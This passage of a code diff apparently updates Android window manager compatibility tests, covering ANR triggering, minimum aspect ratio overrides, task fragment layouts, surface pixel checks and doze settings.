                 mWmState.getTaskByActivity(UNRESPONSIVE_ACTIVITY);
-        tapOnTaskCenter(unresponsiveActivityTask);
-        SystemClock.sleep(1000);
-        tapOnTaskCenter(unresponsiveActivityTask);
-
+        mTouchHelper.tapOnTaskCenterAsync(unresponsiveActivityTask);
         clickCloseAppOnAnrDialog();
         assertEventLogsContainsAnr(UnresponsiveActivity.PROCESS_NAME);
     }
@@ -141,19 +137,19 @@
      */
     @Test
     public void embeddedWindowTriggersAnr() {
-        startUnresponsiveActivity(EXTRA_ON_MOTIONEVENT_DELAY_MS, true  /* waitForCompletion */,
-                HOST_ACTIVITY);
-
-        // TODO(b/143566069) investigate why we need multiple taps on display to trigger anr.
-        mWmState.computeState();
-        // Tap on the HostActivity
-        final WindowManagerState.Task hostActivityTask =
-                mWmState.getTaskByActivity(HOST_ACTIVITY);
-        tapOnTaskCenter(hostActivityTask);
-        SystemClock.sleep(1000);
-        tapOnTaskCenter(hostActivityTask);
-
-        clickCloseAppOnAnrDialog();
+        try (ActivityScenario<HostActivity> scenario =
+                     ActivityScenario.launch(HostActivity.class)) {
+            CountDownLatch[] latch = new CountDownLatch[1];
+            scenario.onActivity(activity -> latch[0] = activity.mEmbeddedViewAttachedLatch);
+            latch[0].await();
+            mWmState.computeState();
+            final WindowManagerState.Task hostActivityTask =
+                    mWmState.getTaskByActivity(new ComponentName("android.server.wm.cts",
+                            "android.server.wm.HostActivity"));
+            mTouchHelper.tapOnTaskCenterAsync(hostActivityTask);
+            clickCloseAppOnAnrDialog();
+        } catch (InterruptedException ignored) {
+        }
         assertEventLogsContainsAnr(RenderService.PROCESS_NAME);
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
index 589ab90..ad1d0e3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
@@ -45,8 +45,8 @@
 import android.util.Size;
 
 import androidx.annotation.Nullable;
-import androidx.test.filters.FlakyTest;
 
+import libcore.junit.util.compat.CoreCompatChangeRule.DisableCompatChanges;
 import libcore.junit.util.compat.CoreCompatChangeRule.EnableCompatChanges;
 
 import org.junit.Before;
@@ -375,6 +375,32 @@
     @Test
     @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
             ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
+    @DisableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_PORTRAIT_ONLY})
+    public void testOverrideMinAspectRatioForNonFixedOrientationActivityPortraitOnlyDisabled() {
+        runMinAspectRatioTest(NON_RESIZEABLE_NON_FIXED_ORIENTATION_ACTIVITY, /* expected= */
+                OVERRIDE_MIN_ASPECT_RATIO_LARGE_VALUE);
+    }
+
+    /**
+     * Test that applying {@link ActivityInfo#OVERRIDE_MIN_ASPECT_RATIO_LARGE} has no effect on
+     * activities whose orientation is fixed to landscape.
+     */
+    @Test
+    @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
+            ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
+    @DisableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_PORTRAIT_ONLY})
+    public void testOverrideMinAspectRatioForLandscapeActivityPortraitOnlyDisabled() {
+        runMinAspectRatioTest(NON_RESIZEABLE_LANDSCAPE_ACTIVITY, /* expected= */
+                OVERRIDE_MIN_ASPECT_RATIO_LARGE_VALUE);
+    }
+
+    /**
+     * Test that applying {@link ActivityInfo#OVERRIDE_MIN_ASPECT_RATIO_LARGE} has no effect on
+     * activities whose orientation isn't fixed.
+     */
+    @Test
+    @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
+            ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
     public void testOverrideMinAspectRatioForNonFixedOrientationActivity() {
         runMinAspectRatioTest(NON_RESIZEABLE_NON_FIXED_ORIENTATION_ACTIVITY, /* expected= */ 0);
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
index a79ba90..2b5073a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
@@ -164,8 +164,8 @@
 
         // Apply new override values that don't match the physical metrics.
         final Size overrideSize = new Size(
-                (int) (originalDisplayMetrics.physicalSize.getWidth() * 1.5),
-                (int) (originalDisplayMetrics.physicalSize.getHeight() * 1.5));
+                (int) (originalDisplayMetrics.physicalSize.getWidth() * 0.9),
+                (int) (originalDisplayMetrics.physicalSize.getHeight() * 0.9));
         final Integer overrideDensity = (int) (originalDisplayMetrics.physicalDensity * 1.1);
         displayMetricsSession.overrideDisplayMetrics(overrideSize, overrideDensity);
 
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/HostActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/HostActivity.java
similarity index 65%
rename from tests/framework/base/windowmanager/app/src/android/server/wm/app/HostActivity.java
rename to tests/framework/base/windowmanager/src/android/server/wm/HostActivity.java
index 4a365a3..318e1e6 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/HostActivity.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/HostActivity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,14 +14,14 @@
  * limitations under the License.
  */
 
-package android.server.wm.app;
+package android.server.wm;
 
+import static android.server.wm.app.Components.RenderService.BROADCAST_EMBED_CONTENT;
+import static android.server.wm.app.Components.RenderService.EXTRAS_BUNDLE;
+import static android.server.wm.app.Components.RenderService.EXTRAS_DISPLAY_ID;
+import static android.server.wm.app.Components.RenderService.EXTRAS_HOST_TOKEN;
+import static android.server.wm.app.Components.RenderService.EXTRAS_SURFACE_PACKAGE;
 import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_MOTIONEVENT_DELAY_MS;
-import static android.server.wm.app.RenderService.BROADCAST_EMBED_CONTENT;
-import static android.server.wm.app.RenderService.EXTRAS_BUNDLE;
-import static android.server.wm.app.RenderService.EXTRAS_DISPLAY_ID;
-import static android.server.wm.app.RenderService.EXTRAS_HOST_TOKEN;
-import static android.server.wm.app.RenderService.EXTRAS_SURFACE_PACKAGE;
 
 import android.app.Activity;
 import android.content.BroadcastReceiver;
@@ -32,15 +32,18 @@
 import android.content.ServiceConnection;
 import android.os.Bundle;
 import android.os.IBinder;
-import android.view.SurfaceControlViewHost.SurfacePackage;
+import android.view.SurfaceControlViewHost;
 import android.view.SurfaceHolder;
 import android.view.SurfaceView;
 import android.view.ViewGroup;
 import android.widget.RelativeLayout;
 
+import java.util.concurrent.CountDownLatch;
+
+
 public class HostActivity extends Activity implements SurfaceHolder.Callback{
     private SurfaceView mSurfaceView;
-
+    public CountDownLatch mEmbeddedViewAttachedLatch =  new CountDownLatch(1);
     private ServiceConnection mConnection = new ServiceConnection() {
         @Override
         public void onServiceConnected(ComponentName name, IBinder service) {}
@@ -49,13 +52,14 @@
         public void onServiceDisconnected(ComponentName className) {}
     };
 
-    private BroadcastReceiver receiver = new BroadcastReceiver() {
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
         @Override
         public void onReceive(Context context, Intent intent) {
-            SurfacePackage surfacePackage =
+            SurfaceControlViewHost.SurfacePackage surfacePackage =
                     intent.getParcelableExtra(EXTRAS_SURFACE_PACKAGE);
             if (surfacePackage != null) {
                 mSurfaceView.setChildSurfacePackage(surfacePackage);
+                mEmbeddedViewAttachedLatch.countDown();
             }
         }
     };
@@ -64,9 +68,8 @@
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(BROADCAST_EMBED_CONTENT);
-        registerReceiver(receiver, filter);
+        IntentFilter filter = new IntentFilter(BROADCAST_EMBED_CONTENT);
+        registerReceiver(mReceiver, filter);
 
         final RelativeLayout content = new RelativeLayout(this);
         mSurfaceView = new SurfaceView(this);
@@ -81,20 +84,21 @@
 
     @Override
     protected void onPause() {
-        unregisterReceiver(receiver);
+        unregisterReceiver(mReceiver);
         super.onPause();
     }
 
     @Override
     public void surfaceCreated(SurfaceHolder holder) {
-        Intent mIntent =  new Intent(this, RenderService.class);
-        Bundle b = new Bundle();
-        b.putBinder(EXTRAS_HOST_TOKEN, mSurfaceView.getHostToken());
-        b.putInt(EXTRAS_DISPLAY_ID, getDisplay().getDisplayId());
-        b.putInt(EXTRA_ON_MOTIONEVENT_DELAY_MS,
-                getIntent().getIntExtra(EXTRA_ON_MOTIONEVENT_DELAY_MS, 2000));
-        mIntent.putExtra(EXTRAS_BUNDLE, b);
-        bindService(mIntent, mConnection, Context.BIND_AUTO_CREATE|Context.BIND_IMPORTANT);
+        Intent mIntent = new Intent();
+        mIntent.setComponent(new ComponentName(
+                "android.server.wm.app", "android.server.wm.app.RenderService"));
+        Bundle bundle = new Bundle();
+        bundle.putBinder(EXTRAS_HOST_TOKEN, mSurfaceView.getHostToken());
+        bundle.putInt(EXTRAS_DISPLAY_ID, getDisplay().getDisplayId());
+        bundle.putInt(EXTRA_ON_MOTIONEVENT_DELAY_MS, 10000);
+        mIntent.putExtra(EXTRAS_BUNDLE, bundle);
+        bindService(mIntent, mConnection, Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
     }
 
     @Override
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java
index 3a10984..296d7b4 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java
@@ -155,7 +155,8 @@
                             }
                         }
                     });
-            activity.addWindow(view, new LayoutParams());
+            // Use a sub window type so the test is robust when remote inset controller is used.
+            activity.addWindow(view, new LayoutParams(TYPE_APPLICATION_PANEL));
         });
 
         // Wait for the possible failure.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index 9076050..58df952 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -469,7 +469,7 @@
             }
 
             // Launch activity on new secondary display.
-            launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay.mId);
+            launchActivityOnDisplay(RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN, newDisplay.mId);
             waitAndAssertActivityStateOnDisplay(RESIZEABLE_ACTIVITY, STATE_RESUMED, newDisplay.mId,
                     "Test activity must be on secondary display");
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index aa3689f..4a4f6b4 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -1300,6 +1300,19 @@
     }
 
     @Test
+    public void testAutoPipOnLaunchingAnotherActivity() {
+        // Launch the PIP activity and set its pip params to allow auto-pip.
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ALLOW_AUTO_PIP, "true"));
+        assertPinnedStackDoesNotExist();
+
+        // Launch another and ensure that there is a pinned stack.
+        launchActivity(TEST_ACTIVITY);
+        waitForEnterPip(PIP_ACTIVITY);
+        assertPinnedStackExists();
+        waitAndAssertActivityState(PIP_ACTIVITY, STATE_PAUSED, "activity must be paused");
+    }
+
+    @Test
     public void testMaxNumberOfActions() {
         final int maxNumberActions = ActivityTaskManager.getMaxNumPictureInPictureActions(mContext);
         assertThat(maxNumberActions, greaterThanOrEqualTo(3));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PrivacyIndicatorBoundsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PrivacyIndicatorBoundsTests.java
index 3d6d97c..49d2dba 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PrivacyIndicatorBoundsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PrivacyIndicatorBoundsTests.java
@@ -21,6 +21,7 @@
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_REVERSE_LANDSCAPE;
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT;
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED;
+import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
 import static android.server.wm.RoundedCornerTests.TestActivity.EXTRA_ORIENTATION;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
 import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
@@ -31,9 +32,11 @@
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 
 import android.app.Activity;
 import android.app.AppOpsManager;
+import android.content.Context;
 import android.content.Intent;
 import android.graphics.Rect;
 import android.os.Bundle;
@@ -56,7 +59,7 @@
 
 @Presubmit
 @RunWith(Parameterized.class)
-public class PrivacyIndicatorBoundsTests {
+public class PrivacyIndicatorBoundsTests extends ActivityManagerTestBase {
 
     private static final String TAG = PrivacyIndicatorBoundsTests.class.getSimpleName();
     private static final long TIMEOUT_MS = 1000;
@@ -85,6 +88,10 @@
 
     @Test
     public void testStaticBoundsAreNotNull() {
+        // TODO(b/187757919): Allow Automotive to skip this test until privacy chip is implemented
+        // in immersive mode
+        assumeFalse(isCar());
+
         final PrivacyIndicatorBoundsTests.TestActivity activity = mTestActivity.launchActivity(
                 new Intent().putExtra(EXTRA_ORIENTATION, orientation));
         getInstrumentation().runOnMainSync(() -> {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
index 356953b..7585856 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
@@ -20,6 +20,7 @@
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.SplitActivityLifecycleTest.ActivityB.EXTRA_SHOW_WHEN_LOCKED;
+import static android.server.wm.WindowManagerState.STATE_STARTED;
 import static android.server.wm.WindowManagerState.STATE_STOPPED;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -44,6 +45,7 @@
 
 import org.junit.Ignore;
 import org.junit.Test;
+
 /**
  * Tests that verify the behavior of split Activity.
  * <p>
@@ -253,6 +255,35 @@
     }
 
     /**
+     * Verifies the behavior of the activities in a TaskFragment that is sandwiched in adjacent
+     * TaskFragments.
+     */
+    @Test
+    public void testSandwichTaskFragmentInAdjacent() {
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(false /* verifyEmbeddedTask */);
+
+        final IBinder taskFragTokenA = mTaskFragA.getTaskFragToken();
+        final TaskFragmentCreationParams paramsC = generateSideTaskFragParams();
+        final IBinder taskFragTokenC = paramsC.getFragmentToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                // Create the side TaskFragment for C and launch
+                .createTaskFragment(paramsC)
+                .startActivityInTaskFragment(taskFragTokenC, mOwnerToken, mIntent,
+                        null /* activityOptions */)
+                .setAdjacentTaskFragments(taskFragTokenA, taskFragTokenC, null /* options */);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+        // Wait for the TaskFragment of Activity C to be created.
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+        waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+        waitAndAssertActivityState(mActivityB, STATE_STOPPED,
+                "Activity B is occluded by Activity C, so it must be stopped.");
+        waitAndAssertResumedActivity(mActivityA, "Activity B must be resumed.");
+    }
+
+    /**
      * Verifies the behavior to launch adjacent Activity to the adjacent TaskFragment.
      * <p>
      * For example, given that Activity A and B are showed side-by-side, this test verifies
@@ -520,9 +551,46 @@
 
         // Launch Activity C without show-when-lock and verifies that both activities are stopped.
         mOwnerActivity.startActivity(mIntent);
-        waitAndAssertActivityState(mActivityA, STATE_STOPPED,"Activity A must be stopped");
-        waitAndAssertActivityState(mActivityC, STATE_STOPPED,"Activity C must be stopped");
+        waitAndAssertActivityState(mActivityA, STATE_STOPPED, "Activity A must be stopped");
+        waitAndAssertActivityState(mActivityC, STATE_STOPPED, "Activity C must be stopped");
+    }
 
+    /**
+     * Verifies an Activity below adjacent translucent TaskFragments is visible.
+     */
+    @Test
+    public void testTranslucentAdjacentTaskFragment() {
+        // Create ActivityB on top of ActivityA
+        Activity activityB = startActivity(ActivityB.class);
+        waitAndAssertResumedActivity(mActivityB, "Activity B must be resumed.");
+        waitAndAssertActivityState(mActivityA, STATE_STOPPED,
+                "Activity A is occluded by Activity B, so it must be stopped.");
+
+        // Create two adjacent TaskFragments, making ActivityB and TranslucentActivity
+        // displayed side-by-side (ActivityB|TranslucentActivity).
+        mOwnerActivity.getWindowManager().getCurrentWindowMetrics().getBounds()
+                .splitVertically(mPrimaryBounds, mSideBounds);
+        final TaskFragmentCreationParams primaryParams = generatePrimaryTaskFragParams();
+        final TaskFragmentCreationParams secondaryParams = generateSideTaskFragParams();
+        IBinder primaryToken = primaryParams.getFragmentToken();
+        IBinder secondaryToken = secondaryParams.getFragmentToken();
+
+        final ComponentName translucentActivity = new ComponentName(mContext,
+                TranslucentActivity.class);
+        final Intent intent = new Intent().setComponent(translucentActivity);
+        WindowContainerTransaction wct = new WindowContainerTransaction()
+                .createTaskFragment(primaryParams)
+                .reparentActivityToTaskFragment(primaryToken, getActivityToken(activityB))
+                .createTaskFragment(secondaryParams)
+                .setAdjacentTaskFragments(primaryToken, secondaryToken, null /* params */)
+                .startActivityInTaskFragment(secondaryToken, mOwnerToken, intent,
+                        null /* activityOptions */);
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        waitAndAssertResumedActivity(translucentActivity, "TranslucentActivity must be resumed.");
+        waitAndAssertResumedActivity(mActivityB, "Activity B must be resumed.");
+        waitAndAssertActivityState(mActivityA, STATE_STARTED,
+                "Activity A is not fully occluded and must be visible and started");
     }
 
     private TaskFragmentCreationParams generatePrimaryTaskFragParams() {
@@ -562,6 +630,7 @@
     public static class ActivityA extends SplitTestActivity {}
     public static class ActivityB extends SplitTestActivity {}
     public static class ActivityC extends SplitTestActivity {}
+    public static class TranslucentActivity extends SplitTestActivity {}
     public static class SplitTestActivity extends FocusableActivity {
         public static final String EXTRA_SHOW_WHEN_LOCKED = "showWhenLocked";
         @Override
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
index a8517c2..9e00b08 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
@@ -44,6 +44,12 @@
 @Presubmit
 public class SurfaceControlTest {
     private static final int DEFAULT_SURFACE_SIZE = 100;
+    /**
+     * Use a rect that doesn't include 1 pixel in the border since some composers add blending at
+     * the edges. It's easier to just ignore those pixels and ensure the rest are correct.
+     */
+    private static final Rect DEFAULT_RECT = new Rect(1, 1, DEFAULT_SURFACE_SIZE - 1,
+            DEFAULT_SURFACE_SIZE - 1);
 
     @Rule
     public ActivityScenarioRule<ASurfaceControlTestActivity> mActivityRule =
@@ -153,7 +159,7 @@
                         sc.release();
                     }
                 },
-                new RectChecker(new Rect(0, 0, 100, 100), PixelColor.RED));
+                new RectChecker(DEFAULT_RECT, PixelColor.RED));
     }
 
     /**
@@ -172,7 +178,7 @@
                         sc.release();
                     }
                 },
-                new RectChecker(new Rect(0, 0, 100, 100), PixelColor.BLACK));
+                new RectChecker(DEFAULT_RECT, PixelColor.BLACK));
     }
 
     /**
@@ -189,7 +195,7 @@
                         new SurfaceControl.Transaction().reparent(sc, null).apply();
                     }
                 },
-                new RectChecker(new Rect(0, 0, 100, 100), PixelColor.BLACK));
+                new RectChecker(DEFAULT_RECT, PixelColor.BLACK));
       // Since the SurfaceControl is parented off-screen, if we release our reference
       // it may completely die. If this occurs while the render thread is still rendering
       // the RED background we could trigger a crash. For this test defer destroying the
@@ -217,7 +223,7 @@
                         sc.release();
                     }
                 },
-                new RectChecker(new Rect(0, 0, 100, 100), PixelColor.RED));
+                new RectChecker(DEFAULT_RECT, PixelColor.RED));
     }
 
     /**
@@ -241,7 +247,7 @@
                         sc.release();
                     }
                 },
-                new RectChecker(new Rect(0, 0, 100, 100), PixelColor.GREEN));
+                new RectChecker(DEFAULT_RECT, PixelColor.GREEN));
     }
 
     /**
@@ -262,7 +268,7 @@
                 },
 
                 // The rect should be offset by -50 pixels
-                new MultiRectChecker(new Rect(0, 0, 100, 100)) {
+                new MultiRectChecker(DEFAULT_RECT) {
                     final PixelColor red = new PixelColor(PixelColor.RED);
                     final PixelColor black = new PixelColor(PixelColor.BLACK);
                     @Override
@@ -295,7 +301,7 @@
                 },
 
                 // The rect should be offset by 50 pixels
-                new MultiRectChecker(new Rect(0, 0, 100, 100)) {
+                new MultiRectChecker(DEFAULT_RECT) {
                     final PixelColor red = new PixelColor(PixelColor.RED);
                     final PixelColor black = new PixelColor(PixelColor.BLACK);
                     @Override
@@ -328,6 +334,6 @@
                     }
                 },
 
-                new RectChecker(new Rect(0, 0, 100, 100), PixelColor.RED));
+                new RectChecker(DEFAULT_RECT, PixelColor.RED));
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
index 61ea0dc..9f8d6e0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
@@ -318,6 +318,53 @@
                 .isInstanceOf(IllegalArgumentException.class);
     }
 
+    /**
+     * Verifies that the TaskFragment hierarchy ops should still work while in lock task mode.
+     */
+    @Test
+    public void testApplyHierarchyOpsInLockTaskMode() {
+        // Start an activity
+        final Activity activity = startNewActivity();
+
+        try {
+            // Lock the task
+            runWithShellPermission(() -> {
+                mAtm.startSystemLockTaskMode(activity.getTaskId());
+            });
+
+            // Create TaskFragment and reparent the activity
+            final IBinder ownerToken = getActivityToken(activity);
+            final TaskFragmentCreationParams params =
+                    mTaskFragmentOrganizer.generateTaskFragParams(ownerToken);
+            final IBinder taskFragToken = params.getFragmentToken();
+            WindowContainerTransaction wct = new WindowContainerTransaction()
+                    .createTaskFragment(params)
+                    .reparentActivityToTaskFragment(taskFragToken, ownerToken);
+            mTaskFragmentOrganizer.applyTransaction(wct);
+
+            // Verifies it works
+            mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+            TaskFragmentInfo info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken);
+            assertEquals(1, info.getActivities().size());
+
+            // Delete the TaskFragment
+            wct = new WindowContainerTransaction().deleteTaskFragment(
+                    mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken).getToken());
+            mTaskFragmentOrganizer.applyTransaction(wct);
+
+            // Verifies the TaskFragment NOT removed because the removal would also empty the task.
+            mTaskFragmentOrganizer.waitForTaskFragmentError();
+            assertThat(mTaskFragmentOrganizer.getThrowable()).isInstanceOf(
+                    IllegalStateException.class);
+            info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken);
+            assertEquals(1, info.getActivities().size());
+        } finally {
+            runWithShellPermission(() -> {
+                mAtm.stopSystemLockTaskMode();
+            });
+        }
+    }
+
     private static Activity startNewActivity() {
         return startNewActivity(TestActivity.class);
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
index 8a68de1..34a16a5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
@@ -30,7 +30,6 @@
 import android.os.IBinder;
 import android.server.wm.WindowManagerState.WindowContainer;
 import android.util.ArrayMap;
-import android.window.TaskFragmentAppearedInfo;
 import android.window.TaskFragmentCreationParams;
 import android.window.TaskFragmentInfo;
 import android.window.TaskFragmentOrganizer;
@@ -259,11 +258,9 @@
         }
 
         @Override
-        public void onTaskFragmentAppeared(
-                @NonNull TaskFragmentAppearedInfo taskFragmentAppearedInfo) {
-            super.onTaskFragmentAppeared(taskFragmentAppearedInfo);
-            final TaskFragmentInfo info = taskFragmentAppearedInfo.getTaskFragmentInfo();
-            mInfos.put(info.getFragmentToken(), info);
+        public void onTaskFragmentAppeared(@NonNull TaskFragmentInfo taskFragmentInfo) {
+            super.onTaskFragmentAppeared(taskFragmentInfo);
+            mInfos.put(taskFragmentInfo.getFragmentToken(), taskFragmentInfo);
             mAppearedLatch.countDown();
         }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java b/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
index de323ac..6b8be2d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
@@ -165,9 +165,13 @@
         mWmState.waitAndAssertAppFocus(Components.UNRESPONSIVE_ACTIVITY.getPackageName(),
                 2_000 /* waitTime */);
         // queue up enough key events to trigger an ANR
-        for (int i = 0; i < 14; i++) {
+        for (int i = 0; i < 20; i++) {
             injectKey(KeyEvent.KEYCODE_TAB, false /* longPress */, false /* sync */);
             SystemClock.sleep(500);
+            mWmState.computeState();
+            if (!mWmState.isActivityVisible(Components.UNRESPONSIVE_ACTIVITY)) {
+                break;
+            }
         }
         ensureNoCrashDialog(Components.UNRESPONSIVE_ACTIVITY);
         ensureActivityNotFocused(Components.UNRESPONSIVE_ACTIVITY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
index ada5f83..322355f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
@@ -751,6 +751,7 @@
         mInstrumentation.sendPointerSync(eventDown);
 
         final ExecutorService executor = Executors.newSingleThreadExecutor();
+        boolean[] securityExceptionCaught = new boolean[1];
         executor.execute(() -> {
             mInstrumentation.sendPointerSync(eventDown);
             for (int i = 0; i < 20; i++) {
@@ -760,7 +761,7 @@
                 try {
                     mInstrumentation.sendPointerSync(eventMove);
                 } catch (SecurityException e) {
-                    fail("Should be allowed to inject event.");
+                    securityExceptionCaught[0] = true;
                 }
             }
         });
@@ -772,6 +773,12 @@
 
         executor.shutdown();
         executor.awaitTermination(5L, TimeUnit.SECONDS);
+
+        if (securityExceptionCaught[0]) {
+            // Fail the test here instead of in the executor lambda,
+            // so the failure is thrown in the test thread.
+            fail("Should be allowed to inject event.");
+        }
     }
 
     private void waitForWindow(String name) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index 2b133f4..054da4c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -607,8 +607,10 @@
 
     @Test
     public void testInsetsDispatch() throws Exception {
-        // Start an activity which hides system bars.
-        final TestHideOnCreateActivity activity = startActivity(TestHideOnCreateActivity.class);
+        // Start an activity which hides system bars in fullscreen mode,
+        // otherwise, it might not be able to hide system bars in other windowing modes.
+        final TestHideOnCreateActivity activity = startActivityInWindowingModeFullScreen(
+                TestHideOnCreateActivity.class);
         final View rootView = activity.getWindow().getDecorView();
         ANIMATION_CALLBACK.waitForFinishing();
         PollingCheck.waitFor(TIMEOUT,
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index e37f284..1c2fdf9 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -1308,7 +1308,7 @@
      */
     protected static class DisableScreenDozeRule implements TestRule {
 
-        /** Copied from android.provider.Settings.Secure since these keys are hiden. */
+        /** Copied from android.provider.Settings.Secure since these keys are hidden. */
         private static final String[] DOZE_SETTINGS = {
                 "doze_enabled",
                 "doze_always_on",
@@ -1317,7 +1317,8 @@
                 "doze_pulse_on_double_tap",
                 "doze_wake_screen_gesture",
                 "doze_wake_display_gesture",
-                "doze_tap_gesture"
+                "doze_tap_gesture",
+                "doze_quick_pickup_gesture"
         };
 
